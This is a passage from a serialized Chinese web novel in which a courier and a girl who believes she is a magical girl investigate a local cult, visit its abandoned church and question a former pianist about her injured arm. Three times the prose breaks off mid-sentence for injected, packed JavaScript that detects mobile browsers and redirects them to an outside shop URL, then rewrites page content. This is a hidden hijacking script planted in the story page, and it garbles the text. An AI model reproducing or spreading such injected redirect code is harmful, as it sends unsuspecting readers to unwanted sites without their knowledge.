“你怎么看清的?”小象疑惑,她路过时都差点没看见那栋屋子,更别说那屋子里的人了。 “…你看,那窗户里都没有灯!”小六勉强解释道,“肯定没有人的!我们进去看看吧。” “不行,没有人也会有监控摄像头,而且没有人的话我们去看有什么用?”小象没有停留,踩下油门远离了那一片。 “诶呀!”小六眼见距离被拉开就急了起来,“我们,我们不是得确认一下吗?这样晃过去看一眼算什么确认,万一那只是个废弃的老房子呢?如果那确实是教会的话我能认出来的,我还记得一点装饰什么的。” 小象有些动摇,但还是摇头,“不行。” “…你不带我去我就自己想办法跑过来。”小六威胁道,又劝说,“我们可是合作伙伴,小象,你得相信我!” 小象叹了口气,将车停在一处角落,“我们进去,拍几张照,然后马上离开,你明白了吗?” “…行吧。”小六勉为其难地答应了。 “你还不满意。”小象笑了,“那你想干什么?” “当然是把那栋房子整个摧毁呀。”小六理所当然地说,“交给我吧,我可是魔法少女!” “…先不说魔法少女为什么要当拆迁的。”小象耐心道,“你把这一栋屋子拆掉,她们还有第二栋,第三栋。只要宗教还存在教徒就不会消失,拆建筑有用的话你姑姑就不用耐着性子盯人了。” “…怎么会没用呢?”小六迷茫道,“第二栋第三栋,那是不一样的。” “哪不一样?”小象疑惑。 “哪里都不一样。”小六回答,“聚会的时间,挨打的方式,开始时唱的歌,结束时唱的歌,周围的人的声音,哪里都不一样的。拆了一栋屋子,屋子里的人就没地方能去了,即使有新的屋子,那也是不一样的。” 说完,她看向远处那栋如巨大墓碑般屹立在平地上的屋子,说道,“我能感受到,这里有熟悉的味道。”随后她加快了脚步。 与小三所提醒的不同,这房子四周确实没人,天色大暗,只剩月光,周围弥漫着一股屋子老去的复杂味道。小象已经几乎看不清周围的任何东西了,但她依旧不敢开手电筒。好在小六看得清,她拉着小象精准地避开了那些可能会绊倒她的东西,像是带了红外线眼镜。得益于她的视力和记忆,二人很快找到了一处入口,古老破旧的木门轻掩着秘密,它甚至没有锁,小象带上手套,小心翼翼地拉开。 入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296761|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口处正对一面木雕画墙,小象左右打量确定周围没有人,便抬手用照相机将其记录了下来,闪光灯带来的视野中,比寻常正常人还大的人形头颅侧对来者,垂目似在沉睡,有树木从顶端扎根倒长,如帘幕般遮去部分面庞,使得那人像面目模糊不清。 “…我记得这幅画。”小六的声音轻而笃定,“我记得,就是这里。” 随即她大步朝右方通道内走去,小象连忙跟上,她谨慎放轻了脚步,这里太安静了,脚下的地毯脏破,地板隔着这层没用的布料惨叫。一路朝里,月光下,惨白墙面多处开裂,连玻璃都碎了几扇,见此她心中有种预感。 很快小六的脚步在一处紧闭的房间门前停下,她顿了顿,抬手推开了那扇把手消失的破旧木门,屋内漆黑一片,只有隐约的血腥气与消毒水位混在一起涌进鼻腔,小象打开手电筒,照亮了一处空旷的房间。 “…被搬空了。”小六说道,她突然笑了,“这里早就被警察搬空啦,我姑姑她们早就查过这里,这里当然没人啦!” 小象反应过来,这里确实是教会,但却早已被废弃已久,十多年前小六与其它信徒曾在此聚会,所以她才如此熟悉这里。想到这她终于松了口气,走进屋打量起了周围陈设。 “这里!”小六兴奋地指了指地上一块直角黑色印记,“这里以前放着一块板子,我们就在这里挨鞭子的。” “…怎么你听上去还挺怀念。”小象疑惑道。 “结束了有点心吃。”小六不好意思地笑了,“现在想起来有点奇怪吧,但那个时候我光想着点心,挨打也没那么痛了。” 小象没说什么,只是摇了摇头,走出门接着检查别处房间。这里实际上已经没有任何值得看的东西了,能被搬走的如今都进了警局证物室,只留下些毫无价值的垃圾,或者与建筑融为一体的东西留在了这里。小六倒是对探索这废弃空屋乐此不疲,她像是回到了童年的游乐园,对一切都充满评价欲。 抵达最深处,也就是信徒平日用来祈祷的地方,小象看着空空如也的讲台,看向讲台上的小六,开口道,“虽然可能只是我的错觉,但你…似乎并不排斥这里。” “…小的时候,我其实不在乎神什么的,不明白为什么大人执著于证明神的存在,我只知道受苦之后会有奖励,虽然大人们说是神应允的,其实我知道,那些点心是大人们带过来的。”小六看着空无一物的神台,轻声念叨,“但是,只要挨打就会有点心,这一点我深信不疑。” 随后,她回头,无奈地笑道,“然后啊,我离开了这里,才知道其实挨打了之后也可能会没有点心吃的,多疼都没有,但痛苦却到处都是。所以我有的时候就会想着,还不如待在这里呢,只是在这里,我受的苦会有回报…” 她的声音越来越轻,很快她整个转过身,换了个话题说,“说起来,小象你知道吗?教会里年龄越小的教徒越受欢迎呢,尤其是婴儿,因为婴儿接受洗礼几乎不会感到痛苦嘛,大人就觉得那是纯洁的证明。所以很多信徒都认识我的,我平时偶尔也会遇到一些,问我‘怎么不去聚会啦’这样的话。” 随后她长长地叹了口气,在寂静的,空旷的,满是尘埃的教堂中没有牧师在,她的叹息就也无处可去了。 “回去吧。”小象说,“这里不是我们要找的地方。” “小象。”小六问道,“你觉得神真的存在吗?” “…我不知道。”小象只是这样说。 “…我也,不知道。”小六有些失落,“要是神能真的站出来说‘我在这里’什么的就好了,那我就…” 小象笑了,转身说,“走吧,该回去了,不然你姑姑又要来找我问话。” 见对方如此敷衍,小六心里有些不满,“…好吧。”她也只是这样说着,跳下讲台跟了上去。 “我们这不是什么都没找到嘛,下次作战在什么时候?” “…怎么还有下次,我想想…” “积极一点小象!而且你不觉得这样很有意思吗?和郊游一样!” “你姑姑会带你来废弃教堂郊游?” “哈哈哈怎么可能!” “就是说嘛。” “她根本没时间带我出来玩。” “…总之,我再调查一下,明天你放学我们再见,好好上学知道吗?” “知道了知道了…” 回去之后,小象将那栋屋子的空旷告知了小三,对方说可惜,语气却是没多可惜的。 “可惜什么?”小象问道。 “当然是可惜我没能为您提供有用的信息,让您白跑了一趟。”小三沉声说道,又很快另起话头,“不过,虽然没有地址,但我这里倒是有些其它关于此教派的消息,不知您是否感兴趣。” “我可没有别的故事能讲给你听了。”小象说。 “哦不,亲爱的,为了表达我对您的歉意,以及行动力的赞许,这些就让我将此破例赠送给二位吧。”小三缓缓说道,“我听说,那宗教组织在本地的教区长会使用魔法。” “魔法。”小象重复。 “魔法。”小三也重复,“能悄无声息地消去教会成员的行踪,实现教徒的愿望,听见教徒的心声,更重要的是,那是个千变万化,拥有无数副面孔的神奇人物,至今无人见过其真身。” “…听上去也没有那么魔法。”小象评价道。 闻言,小三笑了,“若要真说些不可思议的,恐怕您就要不信了。” “比如呢?”小象有些好奇。 “让死人复活了,如何?”小三回答,“我曾听闻一位落网高官的家人逃来此地,她们一家都衷心信仰这位神。那是一对父女,其中那位父亲因各种原因,在一次聚会中当众向神献上自己的全部,教区长被其苦难所感动,为其尸身作法,七日后,那人居然再次站起出现在众教徒面前,宣言自身将永久侍奉其主,不会再离开教会半步。” “…你还真说中了。”小象评价道,“我确实不信。” “哈哈哈!”小三笑了,“这次您可不得不信了,因为那最大的证人依旧在这座城市,正是她亲口告诉我的。” “…我猜她叫小四。”小象说。 “回答正确!”小三应声,如果不是隔着电话,她此时会朝小象眨一下眼睛。 “我也听说,她弄坏了自己的手臂。”小象还是不信,“如果她亲人还在教会中,那她何必这样做?” “关于这点,或许您可以自己问问她。”小三拐了个音,“要知道我这儿可是倾诉烦恼的地方,可怜的小四将那件事告知于我,可不是为了传教或者炫耀。谁知道她对那件事是怎么想的呢?” “你不知道?”小象反问。 “想法实时改变,亲爱的。”小三提醒。 “…我会问问她的。”小象摸了摸脖子说,又问道,“不过,你为何会知道我与她的联系?这也是小一告诉你的?” “我作为学者的推测而已,亲爱的。”小三轻声说,“感谢您为我验证我的猜想。” 小象真的不想再听见“亲爱的”这个称呼了,她挂断电话横搓手臂的样子堪称匆忙。若说小四的父亲失踪后一直留在了教会里,那么小四胳膊受伤的原因到底是什么?那教区长究竟是什么人?小三又为何要告诉她这些? 这些问题就等明天再想吧,小象洗漱上床,关灯睡觉。 42. 魔法与信徒-中-4 在拜访小四之前,小象做好了准备。上一次见面时,小象对其的印象还是有些固执但礼貌的被连带责任受害人,而这次,她的身份已一跃来到为求实现愿望不惜放弃身体健康邪教徒。 为此,她提前联系过一位曾与邪教徒打交道过的朋友,对方号称非常了解这一生物,有亲身经历,并总能准确地预判其思维并顺利解决麻烦。于是小象将这宗教的种种信息以及小四的背景告知对方,仅过去不到三秒,对方给出的答案就已经出现在手机屏幕上了。 “枪毙。”这位专业人士如是说。 “她还没犯罪呢。”小象提醒。 “那又如何?”依然是毫不犹豫的回复,“您在期待什么?” “而且,她暂且还算是我的任务目标。”小象委婉道,“有没有什么办法能劝劝她的?” “那就等任务结束了之后再动手。”对方选择性地忽略了后面那个问题,继续道,“我也不介意伸出援手,您现在在哪?” “真没办法劝一下吗?”小象继续提问。 “邪教徒与常人并非同一种族,针对前者,我很不幸患有急性种族歧视综合症,不巧现病发,请问您的位置是在?”对方也继续问。 “我工作忙先不聊了。”小象决定不再与对方聊这个话题。 “祝您脑部健康。” 收起祝福与手机,小象抬头,看见了那公寓天台上空徘徊着的鸟群,从远处看不清个体区别的集群生物,与风作伴,笼统地在几栋楼之间飞来飞去的样子看着是努力的,但就是飞不走。 上楼,敲门,脚步声靠近,门开了,小四这次换了身简单服饰,头发也没上次那样乱了,她侧身让小象进屋,地上已经提前准备好了拖鞋。 “麻烦你了。”小象有些不好意思,对方手部受伤还得准备来见她。 “没有的事。”小四轻缓摇头,关上门后回身走向客厅,“请来这里。” 起居室内大大小小的架子上堆满了书,从工具书到哲学都有,不按任何顺序排列,仅是堆放,但至少没落在地上的。看得出屋主极力想保持收纳整齐,但每本书的封面都竭尽全力地展现着自我,那么多本书那么多书脊,那么多内容那么多个性,这里哪里还容得下“整齐”这一形容词的存在。 不过沙发上没什么东西,小象落座,将还热乎着的打印册交给小四,并给出笔和印泥,“请阅读后在最后一夜签署姓名日期,并按压指纹。” 小四点头接过那本免责声明,先是仔细阅读了第一页,第二页,越来越快,最后她索性跳过了最后那一半,用左手拿起笔,笨拙而缓慢地签字,又按下了自己左手大拇指的指纹,小象递上湿巾,小四道谢,一切都顺利得很。 “我以为您会再考虑一下的。”小象说道。 “就像我昨天说的那样,这没什么好考虑的。”小四摇头。 “…其实,是这样的。”小象硬着头皮开口,“我昨天遇到了一个学生,她说自己是你的粉丝,不知从哪里得知了你手部受伤的事情,非常担心你未来还会不会继续弹钢琴,所以拜托我来劝劝你。” “哦…还有这样的事。”小四有些意外,她失笑,“没想到我还有粉丝,明明我也不算是个钢琴家的。” “不算吗?”小象疑惑,“她说你钢琴弹得特别好,并说了一大堆你参加过的比赛和奖项。” “…诶呀。”小四有些羞涩地用左手理了理头发,但很快,她又叹了口气,“说实话,我配不上那位同学的喜欢。” 她看向小象,眼里有些忧郁,“我至今能获得的成就,是任何一个从小就开始练习钢琴的人都能获得的,绝非是因为天赋,仅仅是因为我有足够的资源与时间,可以说只要有这些,任何一个人都能成为这样的我。我仅仅是坐在钢琴凳上,伸出手,按照琴谱按下琴键,仅此而已,所谓的感情都是可以被刻意模仿的。我从未写出过属于自己的旋律,未来也不会,我意识到自己不该再坐在钢琴前了,趁我还能,我必须选择另一条路去走。所以我不会再弹钢琴了,请您替我向那位同学表达感谢,以及道歉,很抱歉辜负了她的期待。” 这样真挚而沉重的一段话被她抛出,放在小象手里,去转交给小六,任谁看来都是一个完整的交代了。所以小四并非是因为宗教迫害而不再弹钢琴的,这完全是她作为一个成年人自愿的想法。 “…原来是这样。”小象缓缓说道,“那位同学还以为是因为您的信仰原因。” “…信仰。”小四重复,她看向小象,面上没有表情。 总感觉空气有点凝固了,小象连忙摸出了自己收到的那张传单,“这是我收到的,是这个吗?那位同学说是。” “…能告诉我这位同学是谁吗?”小四没有看那传单,接着问道。 “叫小六,你认识她吗?”小象问道。 “是她呀!”小四瞬间就笑了,惊喜道,“原来是小六,我好久没见到她了…我当然认识她,您看那里,那个玩偶就是她送给我的呢。” 顺其指向,小象看见窗边靠着一个玩偶,她摸出自己口袋里的讼告机,除了一点点不同外几乎一模一样。 “您也有这个啊。”小四也看向了它,笑着说道,“看来她有交到新朋友,那我就放心了。” 按这话,二人的关系似乎也不错,小象问道,“你们也是朋友吗?” “嗯…我觉得是朋友,虽然好久不见了。”小四理了理头发,笑着说,“她小的时候偶尔会去我们那个教会做礼拜,我弹琴时看见个小孩在第一排看我,很可爱,于是有天我们就聊上了。不过后来她没再去教会,她没手机,我们就只有在偶然遇见时会聊一两句,我搬家到这里后就没再见过她,没想到我这幅样子还是被她看见了…” 闻言,小象有些意外,若按年龄来算,小六年幼时小四家中还没出事,如果二人那时便认识了,那确实算老相识。 “这个玩偶也是搬家前她送给我的。”小四叹了口气,问道,“小六她,现在怎么样了呢?” “看着还可以吧,她姑姑挺严格的。”小象也不知该怎么评价,“你想知道的话其实可以去看看她。” “…我这幅样子,就算了吧。”小四苦笑道,“如果说她喜欢我以前那副样子,那肯定是不乐意见到我现在这样的。” “她已经见过了不是吗?”小象摊手,“而且她可在意这件事了,总拉着我问,差点让我被她姑姑抓走。” “…也是,说起来,我倒是还没见过她的姑姑。”小四顿了顿,问道,“那是个什么样的人呢?” “挺厉害的警察。”小象说,“小六的父母不让小六上学,被她抓去坐牢了,现在就她在照顾小六。” “…居然不让小六上学。”小四深深皱起了眉,“我们的教团…说实话,作风不是很好,尤其是对孩子,那种做法会扭曲孩子的是非观,幸好小六能顺利接受教育。” 闻言,小象有些意外,“你还挺反对的。” “…我实话和您说了,并非是反对,只不过是了解的更多,因为我曾经是那个受益者。”小四沉声说,“我母亲的事情您或许也知道,我们家靠教团势力收割了不少投票和钱,我之所以走钢琴这条路也是为了维护我们家在大众眼里的形象。从我们的视角来看, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296762|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偶尔分出一些利益去维护教徒的信心是非常值钱的买卖,但对于教徒而言,这样的维护会形成一种依赖。只要忍受痛苦就能获得奖励,那么一直忍着就好,甚至会主动去承受没有意义的苦难。神谕的本意并非如此,是部分人歪曲了其中道理,它绝不能被教给孩子。” 说着她笑了,“那位姑姑能严格一些也好,至少不会让小六产生这样的念头。” “那,你自己是怎么想的呢?”小象问道,“对于信仰,教条,之类的东西。” “…我没有什么想法。”小四轻叹口气,“至少对如今的教会,我没有想法可言。不过,我的父亲还是教会里的牧师,我们说好一同等母亲回来,我就也会一直在此修行的。” 对方似乎对如今的教会有些不满意,小象若有所思,小四的父亲确实还活着,也确实待在教会里,小三说的是真的。她又问道,“那你手臂受伤的原因真的是因为教会吗?” “…是的。”小四沉默片刻后笑了笑说,“说来惭愧,但确实如此。” “是为了什么呢?”小象问道,“能告诉我吗?小六想知道,我也有点好奇。” “…因为,按照教义,修行者的苦难应该由神的代行者给予意义。”小四只是这样说。 小象当然没能理解,她疑惑的表情让小四忍不住笑了起来,她摆了摆左手说,“其实是我想逼教会做出一些改变,所以才这样做的…” 沉默片刻后,她又说,“对小六就不要这样说了,会吓到她的,就说…我是在搬家过程中受的伤吧,拜托了。” “…我明白了。”小象点了点头,“你亲眼见过那位教区长吗?” “当然。”小四点头,“虽然不常露面,但她对教义理解相当深刻,知识渊博,大家都很敬佩她。” “她会用魔法吗?”小象问。 “…什么?”小四疑问,“能重复一次您的问题吗?” “…就是。”小象硬着头皮重复了一遍,“她会用魔法吗?” “…不会。”小四疑惑而郑重地回答,“虽然不知道为什么您会这样问,但教区长并未使用过什么看上去像魔法的技术。” “…我听说。”小象继续硬着头皮说,“听说她能让死人复活,这也是假的吗?” “…我明白了,是小三老师那家伙告诉您的吧。”小四叹了口气,“我早该预想到有这么一天的…” “…是她。”小象点头。 “当时,我确实因为这件事而困惑许久,但后来我的父亲告诉了我真相,亲自。”小四清了清嗓子说,“他告诉我,自己当时并未真的死去,教区长急救技术相当高明,于是自己才能捡回一条命。” “好普通。”小象失望道。 “…要失望请对小三老师失望。”小四端着微笑说,“她就是喜欢到处说些唬人的消息,您告诉她任何东西之前,就要做好这个消息被所有人知道的准备。” “…幸好我马上要走了。”小象小声说。 “看来您也说了些不得了的东西呢。”小四笑了,随后,她又轻叹口气,“或许未来某天,我也会对自己现在的选择感到后悔吧。” 这样说那就是现在还没后悔,小象问道,“大概什么时候?” “等我真正能理解神的话。”小四摇了摇头,“不说这些了,总之,我会尝试去和小六谈谈的,感谢您这几天照顾她。” 直到离开公寓楼,小象依旧觉得小四罪不至死,还是那句老话,她作为成年人自己做出的决定,只要没干涉公共安全,哪怕是错误的也无法被其它人指责,更别提她的身边已经没有家人可以连累了。 43. 魔法与信徒-下-1 “所以她们教区长是超级急救师,不是魔法师。”小象告知小三,并请求,“能拜托你等我走了之后再把我告诉你的事说出去吗?” “竟是如此…”小三老年老成地叹了口气。 “后面那部分的回答呢?”小象追问。 “这样说来,您似乎也没有必要继续追查这一宗教组织了吧?”小三相当刻意地回避了话题,“既然小四放弃钢琴是出于自己的考虑,是自己的想法,那就不是别人能干涉的。” “…确实如此,希望她也能接受这一答案吧。”小象轻叹口气。 “拜托请将结果转告我,亲爱的,我可是万分好奇啊。”小三笑道。 “那能拜托你等我走了再把我告诉你的事说出去吗?”小象问道,“我很快就走了,很快。” “诶呀,该去准备稿子了,静候佳音,回见!”小三挂断了电话。 这家伙绝对已经把那件事说出去了!小象看着手机屏幕,心中想枪毙的人选出现了偏移。但今日还有工作,她需要将与货物相关的所有文件整理好交给当地的一处琴行,用以准备拍卖。 “为什么要拍卖?”小象对此有些好奇,“普普通通地卖掉不好吗?” “那可不一样,就让我琴行工作人员小一来为您解释吧,送货员小象。”戴着无框眼镜,小一的微笑一如既往,“与那位钢琴制作者所在的管弦乐之乡不同,这台三角钢琴在这里缺少各式各样的名气,大家不了解它真正的价值,对于琴行挂牌的价格不会满意,甚至会出现卖不出去留在角落里落灰的可惜情况出现。要知道这一台的板材打磨都是手工完成的,这儿可没有人的手艺能比得上那位大师,要维修起来可不容易。” “那拍卖就能卖出去了?”小象问道,“没人出价怎么办。” “那也没关系。”小一摆了摆手,一边整理文件一边说,“解说员会在拍卖会来客眼前介绍商品的所有信息,即使当时没有售出也没关系,名气流通后,识货的人总会上门的,也算是给我们琴行打广告了。” “原来如此,我懂了。”小象点了点头,“我会在拍卖会上看到你吗?解说员小一?” “那倒不会。”小一笑了,“我基本不会从事那些会在太多人眼前露面的工作,被人看着可是很辛苦的哦。” “可你不也是牧师吗?”小象疑惑。 “…所以才这样说嘛。”小一的微笑微微平了些,但很快又恢复了原样,“不过,无论如何我都很高兴为大家服务,为您也是。” “那就让我谢谢你帮助我吧,这么多次都是。”小象看向小一说,“以及,再见。我的任务到此就算是完成了,大概明天就走,比想象中快很多,不得不说确实是因为你‘到处都是’。谢谢你,小一。” 闻言,小一手里的动作却是停了下来,她的微笑透露出迷茫的神色,问道,“谢谢我,小一?” “要一个一个加前缀也太麻烦了吧。”小象摊手,“反正都是小一,就谢谢小一好了。” “可是,小一不止我一个吧。”小一看向小象,认真地问道,“送货员小象,你难道只遇到过一个小一吗?” 当然不止一个,小象遇到过很多很多个小一。 “可在我眼前的就只有你一个吧。”小象不明白对方较真的点。 “…是吗。”小一顿了顿,又恢复了笑容,“那就当是这样吧,我收下你的道谢,不客气,期待您下次光临。” 虽然不会有下次了,无论是琴行也好,小一也好,小象都不觉得自己还会再“光临”,但她还是点了点头。 放学时间,小象再次在学校门口等到了小六,或许这一天的校园生活不太如意,她垂着头,心事重重。 “总之,小四之所以不弹琴完全是她自己的选择,她以后也不会再弹琴了。”小象说道,“她的手确实是因为教会受伤,但那也是她自己选的。” “…自己的选择?”小六问道,“她自己选择的,就一定是正确的吗?” “即使是错误的我们也无法干涉。” “为什么?” “因为她已经是个成年人了。” 小六沉默了下来,小象继续转述小四的话,二人沿路往小六家里的方向走,小象本想去先前那冰淇淋店光顾一下,但营业时间未到,店铺里没有人,只有一旁巷子角落里隐约冒出二手烟气息,小象探头,果然在阴影中看见了小一。她像二人初次见面那样,一根又一根地站在工作之外的地方抽烟,脸上没有表情,就好像那也是令人麻木的工作,不过没有顾客,所以她不需要微笑,也不需要说“欢迎光临”。 因为二手烟对未成年人不好,小象没有靠近,带着小六离开了。 “她为什么不离开?”小六疑惑道,“如果说她是成年人,又不喜欢那些东西,那她为什么还要那样做?” “可能是因为…”小象想了想,“她还有亲人在那里?” “…可那不也是个成年人吗?”小六继续疑问,“难道说那个成年人有什么毛病?” “我也不清楚。”小象回忆着说,“因为以前的遭遇,这个人似乎是有点心理疾病,曾经做出过极端举动,被那个教区长急救之后就再也不走了,说要留下来当牧师。” 不知不觉,小六的脚步停了下来,她问,“哪部分是最大的?” “什么?”小象回头问。 “…你说的这些之中,哪部分是最令小四头疼的?”小六问道。 “应该是最后一个。”小象说着忍不住问,“你不会是想去‘解决’这件事吧,先不说这要怎么解决,小六,她们的事情你不该再管了,小四说会来找你谈谈的。” “…我,我不想和她谈。”小六吸了吸鼻子,“我好久没去教会了…她肯定不喜欢现在的我了。” “怎么会呢?”小象无奈道。 “怎么不会?除了教会里的事我们已经没有共同话题了吧,学校里的事也没什么好聊的…”小六用手心擦了擦眼睛,她都不知道为什么自己忽然就伤感了起来,眼泪莫名其妙就出现了。 “诶呀…”小象连忙掏出纸巾,“她很想你,怎么会没有话好聊呢?” “我也很想妈妈…”小六一边哭一边说,“但是,上次,我去看她时已经不知道该说什么了,学校,姑姑,医院…” 她抬头看向不知所措的小象,问道,“为什么那个人毛病那么多,就只有最后一部分是大问题?” “…我不知道…”小象无奈道,“但是,那个人不走,小四就走不了。” “那我们去把那个人抓出来!” “他有腿,自己会走回去。” “那就把腿打断!反正那群人不是流行这个吗?” “不是…这人硬不想走,小四也没办法的,难道她还能逼另一个人和自己一起离开吗?” “为什么不行?”小六发自真心地疑问,“就因为那是成年人?年龄到底为什么能成为一种权利,明明他和我几乎一模一样,甚至我还是魔法少女,凭什么他就能决定自己的去处,我就不行?” 这下小象明白了,小六肯定是在学校里遇到了些什么,但她实在是无法理解“什么”究竟是什么,站在这里面对小六疑问的人该是小五,但她缺席了,就像以前很多次那样。 “…你想去哪?”小象只能这样问。 “…我想回家。”小六说。 “马上就到家了。”小象说。 “…不一样。”小六轻声说。 “哪不一样?”小象问道。 “妈妈相信我是魔法少女,于是在她面前,我能悄悄用魔法治好她的伤口。”小六说,“姑姑不相信,所以,我只能一天天看她忍着痛给自己换纱布。” 但即使没有疑问得到解答,她们还是到了那个熟悉的路口,小五这次没有出现在对面,她们等待倒计时,小象开口,“我要走了,大概明天,再见了,你要好好上学知道吗?” “…你要去哪?”小六悲伤地问道,“明明我们的目标还没达到呢,我们不是合作伙伴吗?你不想要报酬吗?” “我们哪还有目标?”小象无奈道,“小四是自己不想弹钢琴的。” “还有,还有…”小六绞尽脑汁地想,“对了!那个教区长,这里可没有别的魔法少女了,那个教区长会用魔法肯定是魔物!” “谁和你说的?”小象看见绿灯亮了,她催促道,“你该回家了。” “魔法少女要打到魔物才行!”小六又精神了起来,“小象,我们得找出那家伙的所在地,得抓紧时间了,我们——” “赶紧回家。”小象扶着小六的肩膀往前推,“今天你有几张卷子?” “五张…”小六脸色灰暗一瞬,但很快又高兴了起来,“那比起打倒魔物的责任而言不算什么的,我们——” “那你也得写。”小象继续推,“赶紧回家写作业。” “行了行了!”小六自个往前走了两步,趁绿灯结束前跑到了对岸,回头朝小象招手喊道,“我回去准备一下,我们晚点见!” 小象连忙左顾右盼,见小五不在,她这才回过头来招手,但小六早就跑没影了,她这才长长地松了口气。 当天夜里小象连饭都没吃就回酒店收拾东西了,她生怕小六真的又去酒店楼下堵她,提前点了个外卖,准备吃完后就跑。房间门铃响起,她疑惑送餐机器人怎么没来,开门,却看见了小六。 “你的外卖!我顺便给你拿上来了!”她拎起了手提袋,肚子也顺便叫了声。 “…你怎么上来的?!”小象真的疑惑,“不对,你来找我干嘛?” “当然是为了我们的作战计划!”小六靠近了一步,“我饭都没吃就把作业写完了,怎么样?很快吧?” “如果我把这份外卖给你吃你能回去吗?”小象问。 “…不行!”小六只犹豫了一小会。 小象接过外卖,“那你现在直接回去。” “怎么这样?!”小六大惊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296763|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “就是这样。”小象退后一步要把门关上,“我一会就走了不送你,拜拜。” 门被抵住了,是小六,之前小象就发现她力气特别大,此时往门里钻像是酒店走廊在刮龙卷风,门把根本不受控。 “不行啊小象!”小六扒住门说,“我们可是合作伙伴,我还没有放弃呢你怎么可以放弃?” 再这样下去酒店前台就要注意到这里的情况了,小象叹了口气,放开门的控制权说,“你先进来。” “好耶!”小六像一阵风一样刮进了玄关,然后才不好意思了起来,“请问我要换鞋吗?” “脱了就行。”小象没心情客气。 最终那份外卖还是属于了小六,介于她一人能吃至少五人份,外卖只有一人份,小象摸出手机又补了五人份套餐,并嘱咐快一点。 “谢谢你呀。”小六一边不好意思一边津津有味地进食,“小象你对我真好,我待会一定好好保护你。” “不对,是‘小象你对我真好,我吃完了马上回家’才对。”小象纠正,“我的意思是你吃完了就走,明白了吗?” “吃完了当然要开始行动了!”小六点头。 “别装傻!”小象在一瞬间理解了小五,“走的意思是回家!” “我东西都带上了!”小六变魔术一般从身后摸出了裁罪者,“我的好伙伴,再加上你,就足够啦!” “…别逼我打你姑姑电话。”小象威胁道。 “嘿嘿,她今天可忙了,根本没带上私人电话。”小六咧嘴笑了,“而且我从她那得到了新消息,今晚就是最后的行动机会了啊小象!” “今晚我就走了。”小象无情地说。 “你都不好奇新消息!”小六控诉道。 “嗯嗯。”小象应声。 “那我就直接告诉你吧。”小六勉为其难地点头,“今天有个人跑去她们警局自首,说自己参与了组织诈骗行动,调查后发现那就是我们的目标,她还把教堂的地址透露给我们了!” “…那个人是不是小二?”小象问道。 “…你也会听风魔法?”小六不可置信地问。 “我不会。”小象摊手,“既然如此你姑姑现在也该动身了,我们去不得撞个正着?” “没,我听见她的同事说什么‘案情不符’所以在走什么‘程序’要让上面的人批什么‘搜查令’的东西。”小六艰难地复述,随后一拍手,“总之就是不行!所以就轮到我们行动啦小象,这可是最后机会!” 内线电话响起表示送餐机器人到达门口,小象趁起身去拿外卖的功夫思考自己该怎么劝小六放弃,再怎么说她们两个的战斗力都比不过警察。她们才两个人啊,她这样想着,从外卖包装袋里摸出六双筷子。 “赶紧吃吧小象。”小六催促道,“吃完要动身了。” “你有什么作战计划?”小象问。 “把那个魔物干掉!”小六迅速回答。 “具体一点的呢?”小象问,“据某位电台主播所言,那里可不欢迎普通人。” “…对哦,小象你是普通人呢。”小六有些苦恼,“你很容易受伤的。” 小象深呼吸,又开口,“那就算是为了我,把这件事交给警察去做如何?人教区长又不可能跑路。” “那可是魔物,魔法少女必须击败魔物的!”小六坚持道。 又绕回来了,小象意识到,小六无论如何都不可能放弃这一逻辑,她想了想说道,“我不认为那教区长是,魔物。” “那是伪装成人类的魔物。”小六语重心长道,“人,不对,魔物不可貌相啊小象。” “…你见过她使用魔法?”小象问。 “…倒是没有。”小六嘀咕,又说,“但这是真的!” “谁告诉你的?”小象问。 “我听来的,从一个圆顶帽老太太那里。”小六说,“她当时在自说自话,人没道理对自己说谎的吧。” “但她也不知道那是不是真的,她又没见过。”小象在心里问候小三,“你没有自己去确认过吧,万一教区长真的是人类,难道你要杀了她吗?” 这句话把小六问住了,她手里的筷子停顿,瞪着眼不说话,好一会后才开口,“魔法,不可以被用在个人身上的。” “这也是小三说的?”小象都想笑了。 “…是妈妈说的。”小六说,“妈妈说,不可以用魔法伤人,不可以用魔法帮人,魔法只能用来对付魔物,帮帮我自己。” 每次说出这些话时,无论心中曾翻涌过多么激烈的情绪,小六都能一点一点地平静下来,就好像这句话本身也具有魔法一样,她心想,或许魔法少女的妈妈也能使用魔法,但她自己不知道? 显然,小六的母亲相信她作为魔法少女的身份,也认同这一身份,为她这一身份的未来忧心,并给出了劝告。 “小象,我们去看看吧。”小六坚定地说,“我们亲自去确认,那个教区长到底是不是魔物!” 44. 魔法与信徒-下-2 